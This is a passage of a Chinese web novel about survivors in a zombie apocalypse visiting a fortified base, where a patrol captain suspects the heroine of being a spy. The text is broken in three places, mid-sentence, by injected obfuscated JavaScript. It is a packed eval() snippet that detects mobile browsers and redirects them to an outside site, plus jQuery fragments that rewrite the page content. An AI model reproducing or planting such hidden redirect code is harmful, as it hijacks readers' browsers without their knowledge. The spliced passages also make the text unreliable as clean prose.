何莱走进招待处的前台，不难看出这是之前影视城里常见的公寓酒店，基础的陈设一应俱全，估计是给剧组成员们居住的，装修得很漂亮，还保留着时尚的现代设计，和她那家破败的翡翠酒店收容所根本不在一个等级。但出于节电考虑，大厅里完全没有开灯，一片昏暗中她努力睁大眼。 “哟，来了？”老板娘应了一声，是位圆脸的中年妇女，笑眯眯地站起身，走到何莱她们前头，在昏暗中发出啧啧赞叹：“这小姑娘长得可真标志，姑娘，你妹妹啊？” 何莱心说这么黑你能看见任何一张脸就有鬼了，但还是微笑着点头，将冬青往前推了推：“是，我跟我妹妹，还有邻居一起来的。我邻居有异能，所以曹队长就先带走他去登记了。” “我听小陈说了。”老板娘热情地抓过何莱的胳膊，带着她往楼上走：“既然曹队长让你们来，在找到住处之前，就放心住这里，啊。”她扭过头：“不过姑娘，丑话说在前头，如果弄坏房间里的东西，赔偿金会很高。这年头再去找以前的那些东西不容易，大家都爱护着，酒店才能开下去的。”她隐晦地看一眼何莱手中锃亮的偃月刀。 “行。没问题。”何莱按下刀：“姐，你就放心吧。” 等吴亓满脸倦色地回到房间里，时间已经到了中午。何莱正准备收拾一番，带着冬青出门逛逛基地，见到他回来，上前去帮忙接过了吴亓背着的黑色登山包，掂了掂：“还挺重。” “通过了。”吴亓一屁股在床边坐下，替自己扇着风：“发了一堆东西，让我明天开始就跟着去做物资任务，附近有个地下商场最近被挖出来了。”他被折腾着各项异能考核了整个上午，一边还忙着留心收集信息，此刻异能耗尽，整个人也累得不行。 “有在异能者或者军队那边见到他们吗？”何莱也一直在关注吴亓的家人们。 “没。明天的队伍里我再留心一下。你们要出去？”吴亓抬头看她们。 “嗯，想看看他们的基地怎么建设的，顺便找份临时工作。”何莱说：“既然要找人，停留的这一周能融入当地是最好的。”她想了想，又压低声音：“也能打消怀疑。” “你察觉到了？” “嗯。”何莱没有多说，大基地多多少少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571880|142931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都会对新来的人有所防备，特别是涉及了异能者的事情。只有何莱她们尽量低调地进入基地运转，才能让关注他们的人移开视线。 “曹队和我说，一般异能者都会分配单间，但我们人多，旅馆的双床房会更合适，这阵子先住着。”吴亓挠了挠脸，不自然地看一眼冬青：“要么冬青和你睡一张，要么我去睡浴缸。反正我大部分时候应该都跟着队伍住在外边。” “冬青和我一起吧。”何莱从包里拿了几枚晶核，看一眼吴亓：“要不要一起去逛逛？” “......那也行。”吴亓伸着懒腰重新站起来，甩了甩脑袋：“我先去洗个脸。” 何莱抱着手臂靠在墙上，若有所思地开口：“你觉得这位曹队长怎么样？” 吴亓摇了摇头。 “他要么是真正的军队出身，要么是有很亲近的人在部队。”吴亓往脸上泼着水：“他的站姿和走路姿势都像军队里的，摆臂幅度也是确定的，这点和别的巡逻队人员不一样。”他伸手拧住水龙头，抬起眼从镜子里看向何莱：“我父亲是退役的，我很熟悉他们的作风。” “喔。”何莱走到尼龙袋子旁打开松紧带，一边在里边费力地翻找着带过来的薯片，一边顺着他的话往下说：“曹队长很可能就是军队的人，然后被派到民兵队伍中负责管理。” 吴亓扯过一旁的毛巾胡乱地擦一把脸，突然呸了一声。 “？”何莱疑惑地望过去。 “它掉毛。”吴亓甩了甩：“质量好差。感觉像是剧组批发的物资。” “应该是。”何莱随手抽出一张掉渣的半透明纸巾：“这些都是批发的，估计是影视城之前的存货。”她叹口气。通过之前和系统你来我往的信息交互，她已经知道了自己所处的时空正是丧尸爆发后的第三年。同胞数量骤减，粮食与人类文明的产物还没有被完全耗尽。也多亏了这些庞大的囤积物资，才勉强维持着人类群体最后的秩序。 虽然各地都开始尝试着自主产出，但显然跟不上消耗的速度。也不知道再往后会是怎样的光景。 “等再熟悉一点，可以考虑从这位曹队长下手，套点话。”何莱撕开原味薯片的黄色包装袋：“在大基地里寻找两个人的难度实在太大了，如果你能要到人员登记的查看权限，会轻松很多。冬青，张嘴。” “啊——”冬青站在何莱旁边，被喂了一片薯片。 小姑娘缓慢地小心咀嚼，眯起眼一脸幸福，不舍得将它吞咽下去。 “这零食到底哪来的？”吴亓叉腰转过身。 “我和你妈相遇的那个夜晚。”何莱嚼着薯片：“楼下的实验室里，有人留下了零食。就这么多了，我之前一直舍不得吃。” “现在怎么就突然舍得了？”吴亓于是走过来，也拿了一片。 “毕竟是出远门，就当顺路秋游好了。”何莱说：“出发之前我问过王叔，他对永恒基地了解不多，只说原本的影视城有多处布景，反而提供了很多功能区给这里的幸存者们。”比如农田，真的可以耕种小麦。比如宫殿与城墙，都是有利于稳定生存的建筑，加上军队接管，可以说永恒基地的成员们占尽天时地利人和。以及一些相关的配套服务设施，也都极大程度上帮助了基地的建设与发展。 “但是，一想到他们平时要住在宫殿里——”吴亓想象了一下画面，忍不住乐出声。 一阵窸窸窣窣的声音传来。 蜥蜴挣扎着从何莱的袖口里爬出，三人齐刷刷地低头盯着它。 “这个又是哪来的？”吴亓问：“我真的一直都想问，你的酒店里有好多乱七八糟的东西。半夜去洗手间还会从天花板上掉拖把。” “你就没有想过怀疑一下闹鬼什么的？”何莱显得很镇定：“是异能。每个人都有自己的小秘密。”她把剩下的薯片塞进冬青手里，舔干净自己手指上的薯片碎和盐粒：“你只用记住我为了你们多次出生入死的部分就可以了。” 20. 母鸡、绵羊和蜥蜴进行曲20 “哇......这个基地好繁华。”冬青仰着小脑袋，不断往四处望去，眼里满是好奇的打量。 吴亓的语气里则有遮掩不住的羡慕：“这里的居民简直生活在末日之前......”他盯着远方的一家三口。 他们站在连通着城门的主干路，巍峨的城墙在末日之中无疑能带来最为妥贴的安全感，路面是当初建设团队考虑到剧组制作拍摄的美观，专门仿照古代车马道修建，不同于纯粹的泥土路。而两边的商铺样式小屋也都古朴雅致，真的能推开门窗进行售卖——永恒基地非常明智地把这一处设置成了商业贸易区，官方铺子占了八成，也有些居民团队或者异能者们凑在一起售卖一点特殊的商品。 何莱凑过去看了看，这里的粮食储备显然不成问题，拿出来销售的量虽然少，但品种繁多，就是价格也很高昂。 正是中午的艳阳天，行走的人群穿梭不息，不时传来吆喝声，遥遥地还能望见有小商贩推着板车叫卖日常用品的身影，这光景平添了几分灿烂的温馨氛围，仿佛并非身处末日，只是误入了某个拍摄现场。 冬青捅了捅吴亓的腰：“那边卖的也是房间里的毛巾。”她指的是小商贩板车上摊开来的那几卷，旁边的纸巾也是同样粗糙的质量，和翡翠酒店里的没法相比。 “哦。”吴亓点了点头。显然是官方授意的行为，军队接管了这座影视城作为基地之后，第一件事情就是整合物资。 何莱对这个基地目前为止的初印象都很好，带着冬青在街上左右逛逛，东转转西看看，不断询问着粮食的价格比对。她的确是有打算买些能够做种子的品类回酒店，丰富一下客人们的后院菜篮子。 “嗯，这个要......那个也要。” “在找什么？” 正当何莱埋头在一堆长芽土豆里卖力翻找时，头顶传来了一个对她来说有些陌生，但仍有些印象的声音。 何莱抬起脸来。 “啊。曹队长。”她笑了笑，松开手中的土豆，起身转头寻找吴亓的身影——那家伙转身就进了武器店，正对着一把荒野弯刀双眼发亮，压根顾不着身后的事情。 曹麦不知道什么时候出现在他们面前，或许是刚结束了任务的缘故，换上了一身常服，头发还有些湿漉，显然是刚洗完澡。深色的T恤和牛仔裤穿在他身上显得随性潇洒，与初见时的冷峻严肃形成了强烈反差。 何莱盯着他身上的那件T恤看了很久。 这是某家快消服装店在很久以前大火的联名款样式，画了个骷颅头在上边，她一直很喜欢，所以总是穿着。 甚至在她刚来到这个世界的当天还穿着，只是后来被系统勒令换下了。因此她对这个图片分外熟悉。此刻忽然见到，一时之间有些瞠目结舌。 以前的世界里的衣服，怎么会出现在这个世界......？ “......”曹麦见她盯着自己一直不说话，想了想，还是替她开口解了围：“想买粮食？我们基地里种植了小麦。对于本基地成员的价格是很友好的。吴亓已经是基地异能者，所以你们也可以享受到内部价格，三晶核一把。”他伸出手掌虚握着比了很小的一个圆，大概够一个人勉强维持一天的口粮。 “叔叔，这里还有什么可以买呀？”冬青对着送上门来的导游当然不会客气，抱着何莱的腿就仰起脸开口问道。 “......”曹麦面不改色地消化了这个称谓，自动接过了导游的旗帜，尽职尽责地介绍起了基地概况来：“先这么说吧，我们是目前所有已知的幸存者基地里最大型的。永恒基地共分为三层区域。”他的手指向远处的矮墙：“目前我们所处的是外城，用来对外商贸与隔离，居民居住量较小。那边的墙后就是内城了。” “进入内城需要严格核对居民身份，你们的身份还没有批下来，目前只能待在外边。内层里边主要是居住区，由原本的剧组成员休息建筑楼改造而成——居民们通常会在白天来到外城工作，或者出城探险。像今天凌晨带你们的陈叔就是这样。” “最里边是什么？”何莱不经意地发问。 “种植区域。除了小麦以外，本基地种植花生、葱蒜、大豆、葛根，还有野百合。”他如数家珍：“野百合不仅具备观赏性，是我们基地对外出售的一大特色，同时——你们稍后可以试试，我记得附近就有一家会做的。这种花的鳞茎包含丰富淀粉，味道不错。也可以用于提炼。”他想了想，歪头补充：“内部还有一些科研的工作室。因此最里边的城墙进入需要严格管控。” 何莱伸手点了点远处的群山：“那边的山也是归你们管吗？” “这就是基地坐落在郊区的好处了。”曹麦打了个响指：“方便打猎，异能者们和猎人都会往上边走，但是我们并没有围住山脉，也没有足够人手进行清理，里边的丧尸要比猎物还多。”他想了想：“外城里最贵的一家店叫美宜佳，我记得每月限号供应红烧肉。你们要是有兴趣可以去试试。” “好的。还有一个问题，我妹妹很爱吃鱼。基地里会有鱼卖吗？”何莱继续装作不经意地发问，拍了拍冬青。 这一次曹麦深深地看了她一眼才回答：“有。居民区的小型水库是原本造出来的人工湖景改的。我们在里边养殖了些水产品，但因为数量有限，不对外售卖。如果你真的很需要，我也可以向上级申请购买。” “喔，曹队，你也在啊。”吴亓掂着新的武器来到他们身边，对曹麦打了声招呼，揉一把冬青的脑袋，随后给何莱看那把荒野弯刀。 “看起来很好用。”何莱说，随后对着曹麦耸耸肩：“谢谢你的好意，曹队长。我们需要的时候一定会通知你的。” 曹麦没有急着离去，反而站在原地：“有想好以后做点什么吗？在基地里总是有很多工作岗位。”他微笑着：“这样我也能帮你们申请机会，进入内城居住了。” “我再想想吧。”何莱说，顺带开了个玩笑：“曹队，想进你的巡逻队能报名吗？” 曹麦上下打量何莱一眼，认真地点了点头：“你想的话。”他说：“巡逻队的选拔复杂，但如果你能在我的手上撑过十招，我就破格录取你。” 等到曹麦离开以后，剩下的一行三人继续在外城里转悠。 这块区域的面积虽然大，但基本是围绕着内城的一圈道路。因此除了各朝代的店铺和装饰物以外，再加上人群和在各个转角刷新的巡逻队，就没别的新东西了。很快他们就都看了一遍。 吴亓忽然用胳膊肘捅捅何莱：“你觉得，他是不是对你有意思？” “......？”何莱和徐冬青齐刷刷地扭头看他，吴亓一阵心虚，但还是硬着头皮说下去：“他上午刚和我分开，立刻就回去换了套衣服来找你了。”十七岁的小男孩又想了想：“我刚才在旁边听了一会，他对你还挺好的。对了，曹队今年二十七，我上午问了一下。你觉得怎么样？” 何莱给他弹了个脑瓜崩。 “我们走前可以把每种品类的粮食都买一点，回去试试能不能培育出来。”她说：“可惜鱼不好长途携带活的，回去以后试试半夜去小公园里捞点吧。” “店长，你多大了啊？”吴亓坚持不懈，正是爱八卦的年纪。 “我不知道。”何莱心虚地移开视线：“撤离基地的时候出了点事，磕到了脑袋。我不太记得过去的事情。应该......二十多岁吧。”她摸着自己的脸，若有所思地补充。 “哦，我对曹队说你今年十八。”吴亓说：“我说女孩子永远十八，他听完笑了一下。” “？”何莱又给了他一脑瓜崩。 “我觉得曹麦这个人不对劲。”短暂的大闹小插曲过后，何莱淡淡地开口：“他太热络了。永恒基地不可能对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571881|142931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每一个普通的居民都这么关注。基地的体量太大，曹麦的地位也不低。”她看一眼吴亓：“你小心一点。”那家伙一口一个曹队的就这么叫上了，听起来两人已经很熟，吴亓不是个爱设防的。 “可是他说你很可爱。”吴亓走在她们边上挠头：“我毕竟是异能者，你又是他专门提到的人，我觉得这么热情还挺正常的。” “如果想要拉拢你，应该是等你专门提出要求再帮忙解决。而不是上来就告诉我可以用他的权限帮我购买限制品，还在试探我是否想进入内城。”何莱沉思：“还有巡逻队的事情，我作为刚到来基地的新人，他答应得太爽快了......希望是我多想了吧。但我总觉得和他来往时总有种若隐若现被凝视的试探感。” “好的，那我会留意。”吴亓说：“你有想好在基地里做什么吗？” “猎人。我想去山里看看。”何莱说：“如果曹麦有空，我还想拉他一起去。”曹队长的身手不差，对山脉又熟悉，跟着一起不仅能保障安全，还能尽可能收集多种类的植物。何莱时刻惦记着自己酒店后院里的小菜园。 “曹队长知道了你又提防又利用的，迟早心碎。”吴亓吐槽。 “他不会的。”何莱平静地开口。 “那女人不对劲，我觉得是间谍。”曹麦说。 他已经换下了那身休闲装，重新穿回巡逻队的制服，通过内城门的审核，又快步走进紧挨着内城墙的一处偏殿里。 曹麦脚步匆匆，走向正在处理奏折……哦不是，处理各项报告的大队长，立定之后镇定地汇报情况：“我试探了几回，她对基地的各项信息很感兴趣，重点放在了粮食和内城上。目前还没有提出要进去内城，但我已经抛出了饵，我估计这两天内她就会来找我。” 每一年都有从各大基地里派过来，想要渗入永恒基地的间谍。 有些只是想获得情报，而有些则要恶劣得多——即使在末日之中，人类依旧没有学会团结。人性的恶与贪婪反而被成倍放大，在资源有限的情况下，基地的发展变成了你死我活的争夺战。 曹麦不是第一次处理这些被永恒基地察觉端倪的间谍，接触，试探，确认，拿下，处决。基地靠着的后山里，不知道埋下过多少试图潜入基地的探子，全部葬送在曹队长的手上。 他眼神冰冷，像是再次锁定了敌人。 “如果她真的想加入巡逻队，我会好好试试她的。” “嗯。”坐在高台之上的络腮胡男人抬起头来，近四十的面庞带着一股不怒自威的肃杀之气，一看就是在外领队的将领，此刻听了曹麦的汇报，微皱起眉头：“在你动手之前，最好能找到在希望基地待过的人，过去接触一下探底。” “明白。”曹麦准备离开，却又被他叫住。 曹毅禾放下笔，看一眼自己的侄子，又把目光带过一圈正在和他一起处理工作的几位异能小队队长，不动声色地问一句：“那个一起来的异能者，给他换个队伍。” “嗯？”曹麦一愣：“我上午试了试他，还算正常。而且和那两个女人不像是很熟，一些基本的信息都不了解。”他想了想：“您的意思是......” “不怕万一。就怕真的有基地舍得派异能者出来同归于尽。”曹毅禾把视线收了回来，继续捏着手中的草稿纸，对左边坐在底下古代宫廷餐桌道具旁擦拭匕首的女孩吩咐：“新来的异能者我会安排进你的队伍。下次出任务的时候让他打头阵。到时候你和曹麦对接，准备一套相同的问题。如果两边答案对不上——”他比了个手势。 “我明白。”女孩抬起双眼，清爽的短发挂在耳边，看起来不过十五六岁的年龄，脸庞依旧稚嫩，竟然已经是基地里指挥作战小队的队长，身份再清楚不过——异能者。 但如果吴亓也站在这里，一定会发现她的另外一重身份，他的妹妹，吴悠。 21. 母鸡、绵羊和蜥蜴进行曲21 永恒基地的任务繁重，吴亓一大早又被敲门叫走，何莱带着冬青在旅馆房间里睡到九点，才伸着懒腰起床。 “姐姐，我们今天去山上吗？”徐冬青睡眼惺忪地刷着牙，他们昨晚回来以后借了旅馆的小厨房，手忙脚乱地用买到的食材匆匆对付了一顿，总算吃上了热饭。 “对。看看能不能打点兔子。” 何莱在旁边洗脸，从包里又掏出一件白衬衫换上。一路颠簸过来，她的衬衫也有了洗不掉的脏污。但幸好末日之中，大家对于彼此的整洁程度也没有太高要求。 她简单地洗漱完毕，背上被掏空的尼龙袋，放入两瓶矿泉水，一手拎着偃月刀，一手拉着冬青就出了门。 “......你怎么在这里？”何莱下了楼梯，一眼就望见坐在旅馆大厅里的曹麦，他还是那身昨天相遇的休闲装，头发被梳顺了放下来，平添几分柔和亲近的气息。 “吴亓被调去别的队伍了，我这几天休假。”他看着何莱的眼睛，镇定地点了点头，起身露出微笑，向她伸出手：“包可以给我。昨天听说你想加入巡逻队，我向上级请示了一下——” “我那是开玩笑的。”何莱也微笑着对他摇头，紧紧攥住背包，没有让他帮忙打算。“不过......”她话锋一转：“你要是有空的话，可以陪我一起进一趟山吗？” 何莱盯着他的眼睛：“我想好了，打猎生存，收成我们五五分。” 曹麦明显愣了一下，随后不动声色地点头，强硬地伸手接过她的背包：“没问题。山路很陡峭，包我替你背。”他看一眼冬青，用下巴点了点：“山上很危险，确定要带孩子去？” “确定。”何莱的包被他抢过去，肩膀一轻，于是握紧刀，跟在曹麦的身后往外走。 “我们走小路。”曹麦头也不回地带着她们往前走：“你的武器走在街上太吓人了。” “行啊。”何莱不以为意。她看出了这位盯上她的曹队长有试探和监视的任务，短时间内不至于在基地内对她贸然出手。之所以还愿意花时间耐心兜圈，多半是看在吴亓这个异能者的面子上。何莱想到这里，苦笑一声。 “叔叔，山上有什么？”冬青看出来气氛紧张，自来熟地上前两步，直接搭上了曹麦的手，牵着他一起往前走。 曹麦的脚步一顿，随后平稳地再次往前走，仍由何莱独自跟在他们身后，还拿着一把武器。 “野猪，蛇，野鸡，还有兔子都是常见的食材。”曹麦轻描淡写：“蘑菇需要分辨，我等会教你们基础的方法。野果和木柴有时候也能采集起来，基地会定期收购。” “哦，叔叔好厉害。”冬青的语调甚至没有任何起伏，简单敷衍得让何莱也忍不住抽抽嘴角。 “想钓鱼吗？”曹麦忽然回头望向何莱。 “嗯？”闷头赶路的何莱抬起头来，自然地答了一声：“当然想啊。但水库我们不是进不去吗？”她歪歪脑袋：“我其实不太想进去内城，外边挺好的。打猎回来卖东西也方便。” “嗯。”那位曹队长简短地回一句，又把头扭过去了。 来到山脚下的时候，曹麦才瞥一眼何莱手中的偃月刀：“武器要不要我拿？”他自嘲地又补充一句：“不放心的话就自己拿着。” “我自己拿。”何莱毫不遮掩。 “嗯。” 曹麦带队，沿着最多猎人走的路径，他们走走停停，避让丧尸或者轮流打前阵解决，也慢慢到了半山腰。 每一次曹麦负责解决丧尸的时候，就从袖口里掏出一把短刃小刀，动作比王守诚更利落专业地上前一步，重击，捅穿丧尸的前额，后撤一步，检查晶核。 何莱比着那把长柄偃月刀，倒是也能和丧尸打得有来有回，几个回合后靠着距离优势将对方放倒戳烂，低头去挖晶核。她这么做的时候，曹麦就站在旁边静静地看着。他在打量何莱的动作和习惯，比对记忆中接触过的几个基地的人，确定了不是各军团出身。 等到他们接近动物聚集区的时候，曹麦掏出几张纸巾：“把刀上丧尸的血擦干净。弄脏了猎物卖不出好价钱。”他闷头往前砍着新长出的灌木丛开路：“下次你上前的时候，身体重心要往捅出去的那一边去，更好发力。”他的声音里带了一点揶揄：“武术冠军，不知道这个吗？” “呃。我是观赏赛打多了。”何莱挠脸。 曹麦轻笑一声，忽然松开徐冬青一直紧紧牵着他的手，猛地往前一蹿，整个人重重落地，膝盖扑地压在一只肥兔子上。 兔子遭受重击，当场咽气。被曹队长拎着耳朵提起来，得意地看了何莱一眼，随后打开替她背着的尼龙袋口，将兔子扔了进去：“实战确实不行。” “嗯......”何莱抱着偃月刀给他鼓了个三十秒的掌。 末日以后，能有胆量来山上的人数显著减少，而丧尸们又对动物不是很感兴趣，加上丧尸的速度缓慢，不会像人类那样设下陷阱。这片山上的动物们被养得又肥又呆，倒是方便了何莱这个新手。 夜幕降临时，曹麦背着的袋子已经满满当当，不断往下滴着血迹，何莱的偃月刀上还挂着一串麻雀。就连徐冬青都抱着一大把淡白色的蘑菇。何莱看了一眼冬青怀里的蘑菇，都是在曹麦的指导下采摘的。何莱想到这，有些不放心地再看一眼曹麦：“曹队长，要不我们今晚一起吃点？” “行啊。”曹麦抬起手臂，用T恤的布料擦了擦脸上的汗，掂了掂袋子：“兔子和那只鸡可以留下来。剩下的估计能卖个七八晶核。”他算了算：“加上你捡的那颗，今天进账不错。” “多谢你带我认路。”何莱也忍不住抿嘴笑了笑，赚晶核的感觉确实很不错：“明天开始我就能自己来了。今晚我做饭。”她看一眼冬青怀里的蘑菇：“做香辣兔丁，小鸡炖蘑菇。”算是很丰盛的晚饭了。 “也不知道吴亓能不能赶回来吃上。”何莱说。 “他赶不上了。”曹麦走在何莱身边提防着昏暗处的响动，不假思索地开口，随后又补了一句：“吴队长带队，没有三天回不来。” “吴队长？”何莱看一眼他。 “吴悠，电系异能者。我们基地最小的队长，今年十五。”曹麦随口答道：“对人类的杀伤力很强，一般都被派出做搜索幸存者的任务，距离基地的距离相对较远。” “......原来如此。”何莱低下头，无声地勾起嘴角。 借着月光，曹麦侧过脸去看了她一眼，没有说什么。 旅馆厨房。 曹麦出去帮忙卖今天的其余收获了何莱低下头处理兔肉，剥皮切丁，花一晶核向前台购买调味料，将辣椒爆炒后下肉，丢两块刚被徐冬青洗干净掰碎的蘑菇均衡荤素。 她怕曹麦指导下捡到的蘑菇有毒，所以邀请他一起来吃。 何莱被自己小人之心的想法给愧疚了一下，随后就看见曹麦推开了厨房的门，将三个晶核放在了她面前：“卖了七晶核，你三我四。”他说：“多的那个当教学费用了。” “......行。”何莱低头开始切鸡，动作熟练得像做了千百次。她微微一愣，没想到自己还有厨艺上的天赋。 但这份熟悉实在太过诡异，不像是突然开窍而更像是长年累月积累出的肌肉记忆，这让何莱忍不住皱紧了眉，下意识地就想召唤系统询问。 忘记了。离开酒店以后系统就会下线。 何莱叹了口气，继续认命地低头开始处理手中的鸡肉块。 小锅里鸡肉被炖煮得酥烂，和蘑菇依偎在一起不断被沸腾的汤汁气泡鼓起，只用撒上一把胡椒和盐就弥漫出混合的食物香气。另一边正在被下锅复炸的麻辣兔丁则激发一阵阵霸道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571882|142931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的强烈味蕾刺激，让坐在墙边闭目休息的曹麦也忍不住睁开眼睛，探究地看了过去。 他今天在山上折腾了整天，身上到处都是树枝草丛留下来的深色痕迹，身上的衣服汗湿了又干，头发也有些乱地垂下来，侧脸也有一道黑色的痕迹，看起来倒是真正拉近了距离。 何莱与徐冬青也都没好到哪里去，尤其是何莱一身白衬衫，头发也被勾得乱七八糟，此刻端着菜转身走过来摆在桌前，小厨房里的灯光昏黄却温暖，她习惯性微笑着的模样落在曹麦眼中，让他的眼神迅速转向别处，靠在墙上的姿势改成了倚在桌边，望着冬青跑来跑去帮忙借碗筷的身影思索，不知道在想些什么。 “哟，这是在做什么好吃的呢？”有外出归来的非居民探险者大大咧咧地拉开厨房门，是闻着味道进来的，深深地吸一口气：“香！真香啊！妹子，你这菜卖不卖？”打头的那位看见何莱眼前一亮，就要冲到桌前来。曹麦撑着桌子缓慢地站起身来，完全站到了灯下让对方看清自己是谁，语气一如初见时不容置疑的命令口吻。 “不卖。” “呃！原来是曹队长。”那人见到曹麦，脸上轻松的微笑一滞，原本想要搭上何莱肩膀的手也收住，立刻停下了脚步。身后跟着的两位游商陪着笑脸走上来：“曹队，今天怎么有空来外城旅馆？” “陪朋友吃饭。”曹麦用下巴点了点何莱。 “好嘞曹队长，那我们走了啊。”三人彼此对视一眼，挤出笑脸小心翼翼地后撤几步，随后逃命般争先恐后往外跑去。 “这么大官威？”何莱一手撑在腰间，带着笑意低头看向曹麦。 “这块我负责。”曹麦回了一句，拿起筷子夹向那块被切碎的蘑菇，抬起眼看向何莱：“没毒，放心吃吧。”他放进嘴里咀嚼两下，明显被惊艳得眼前一亮，坐正了身子。 “有这么好吃吗？”何莱嘀咕一句，也伸出筷子夹了一块。 “好吃。”徐冬青眯起眼，吃得腮帮子一鼓一鼓。 “你在希望基地的时候，是做什么的？”曹麦起身替自己盛饭，没忘了给冬青与何莱也各盛一碗，轻轻放到他们面前，不经意地开口发问。 “我真正的工作是科研人员。”何莱埋头吃饭，心中警铃大作，自从和吴亓分开以后她就一直对被问到的问题保持着强烈警惕：“武术冠军只是个花架子名头，我为了能在末日中行走稍微安全些才大肆宣扬。”她说：“女性生存不易，你应该明白。” 曹麦的手指轻轻敲击着桌面。 “再说一遍，和你一起来还带着小姑娘那女的，她真是武术教练啊？看起来不像。”第七分队的副队长再次提起这个话题，让吴亓心里也跟着警铃大作。 他们靠在一面断墙后，根据可靠情报，这处地点在过去的十个小时内传出过永恒基地的求救信号——只有核心成员才有配备，因此第七分队被全员派出，领队的负责人吴悠打了头阵抢在前排，因此轮到了副队长负责带这位空降的新人。 副队长人很健谈，细心谨慎，一天下来跟着他，倒是多次有惊无险，没有遇上什么棘手的麻烦。 就是太健谈了，尤其喜欢逮着新人问问题。 “你为什么对我的邻居这么感兴趣？”吴亓扭过头看他一眼，皱起眉：“我不是说了吗，她还是永恒基地的科研人员。” “全队听指令。” 副队长还想开口说点什么，胸前的通讯机就传来咔哒一声，吴悠的声音冷静地响起：“我们已接近被困人员，他们在铁柜里，房间丧尸数量超过二十，等我命令，一起上。” “收到。”副队长摁下按钮，收起一天来嬉笑神情，起身半蹲在吴亓身旁，手中的匕首无声地滑出，压在拇指下，对着吴亓下令：“等会儿你留在原地，负责观察，随时用异能补杀威胁到小队成员的靠近丧尸。” 22. 母鸡、绵羊和蜥蜴进行曲22 何莱回到房间的时候，桌子上的蜥蜴警惕地扭头过来。 “给你。”徐冬青从袋子里抓了一把还染着猎物们鲜血的叶子，放在蜥蜴面前。它很嫌弃地又扭了过去。 何莱过去坐下，戳了戳蜥蜴的屁股，后者恼怒地蹿进柜缝中。 吴亓果然没有回来，何莱和冬青一人一张床躺在黑夜中。 “姐姐，我们什么时候去找吴悠姐姐？”冬青望着天花板发问。 “已经找到了，她是吴亓的队长。”何莱也望着天花板。许久没有和系统的交谈，她的心中有隐约的不安。 “那我们接下来做什么？”冬青继续问。 “我们在基地里消磨时间，等吴亓回来。”何莱翻了个身，撑起胳膊看向冬青。 “怎么了，姐姐？”冬青也坐起来。 “你想不想留在永恒基地？”何莱问。 对徐冬青小姑娘来说，或许永恒基地会是更好的选择。甚至吴亓和倩姐，在吴悠已经立稳脚跟且异能被基地看重的情况下，他们三人会生活得非常好，说不定还能找到吴百威——吴亓失踪的父亲。按照吴亓和倩姐的性格，不会放着冬青不管，留在这个基地生活无疑比此刻充满暴露疑云的酒店要安全得多。 “姐姐，你想留下来吗？”冬青反问她。 “我不能留下来。”何莱说：“酒店里还需要我呢。” “......”冬青低下头想了想：“那我也回酒店。” “为什么？”何莱有些惊讶。 “基地不安全。”冬青简短地回答她一句，随后盖上一路来珍惜携带的小毛毯，背对着何莱睡下了。 接下来的三天过得平静无波，曹麦偶尔在闲暇时光来一趟旅馆，何莱每天上山采集，稳扎稳打地收获少量猎物，熟悉偃月刀的使用方式，又在各商铺里购买些日用调料和粮食，显得低调而循规蹈矩，面对曹队长时也从逐渐警惕的态度放松下来，只是一直隐瞒着酒店的存在。 她想，等撑到吴亓回来，确认了吴悠的信息，让这兄妹两人来决定是否要留下或者离开，她这位店长也算是护送成功，就可以带着冬青小朋友功成身退回酒店了。 第四天。 “吴亓怎么还没有回来？”何莱皱起眉，一旁的曹麦一身黑色劲装蹲在她的身旁，往篮子里丢着刚摘下来的蘑菇，闻言不动声色地又看何莱一眼，随后起身：“估计就在这两天了。可能这次任务比较麻烦。” “嗯。”何莱起身，拍了拍手上的灰，环顾一圈，忍不住感慨：“这几天我都快把这边山脚下的丧尸给清完了。”她独自前来时从不深入，山上最危险之处就在于可能要同时面对来自四面八方的敌人，只有在曹麦陪同时她才会试着往里边走一点。 徐冬青今天留在了旅店里，曹麦不知道从哪里搞到了一套儿童蜡笔和画纸套装，把小姑娘给高兴得欢呼雀跃，当即就要在房间一展身手，再三向何莱保证不会随意出门。 “我知道另一边有个小型湖泊，野生的。”曹麦面色如常地开口：“你现在还不是正式成员，没法进内城。” “啊？喔。山边的吗？”何莱应一声，没有特别热络。她先前打探水产售卖的事情，只是想了解大型基地里的养殖情况，倒不是真的热爱吃鱼。因此她并没有进一步要求去野钓，继续低头认真采着蘑菇，心里默念着这一筐子就能换两晶核，两晶核就是一盒饭，酒店多一个人能吃上...... 殊不知曹麦在一旁侧过脸，表面平静地注视着她，但眼神已经变得冰冷。 当天夜晚，已经洗漱完毕在旅馆房间里来回踱步的何莱百无聊赖，已经开始替冬青研究编织不同形状的辫子，终于听见寂静的城墙处传来一阵嘈杂，隐约夹杂着人声。 